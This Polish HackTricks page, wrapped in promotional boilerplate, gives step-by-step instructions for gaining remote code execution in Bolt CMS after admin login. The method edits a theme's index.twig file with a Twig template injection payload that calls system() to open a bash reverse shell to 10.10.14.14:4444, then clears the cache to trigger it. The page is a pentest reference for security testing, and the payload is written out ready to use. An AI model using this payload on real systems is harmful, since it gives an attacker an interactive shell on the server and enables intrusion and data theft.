Bolt CMS

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.

RCE

Po zalogowaniu się jako admin (przejdź do /bot, aby uzyskać dostęp do ekranu logowania), możesz uzyskać RCE w Bolt CMS:

Wybierz Configuration -> View Configuration -> Main Configuration lub przejdź do ścieżki URL /bolt/file-edit/config?file=/bolt/config.yaml
Sprawdź wartość pola theme

Wybierz File management -> View & edit templates
Wybierz bazę tematu znalezioną w poprzednim kroku (base-2021 w tym przypadku) i wybierz index.twig
W moim przypadku jest to w ścieżce URL /bolt/file-edit/themes?file=/base-2021/index.twig
Ustaw swoje dane wejściowe w tym pliku za pomocą wstrzykiwania szablonu (Twig), na przykład: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
I zapisz zmiany

Wyczyść pamięć podręczną w Maintenance -> Clear the cache
Ponownie uzyskaj dostęp do strony jako zwykły użytkownik, a payload powinien zostać wykonany

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.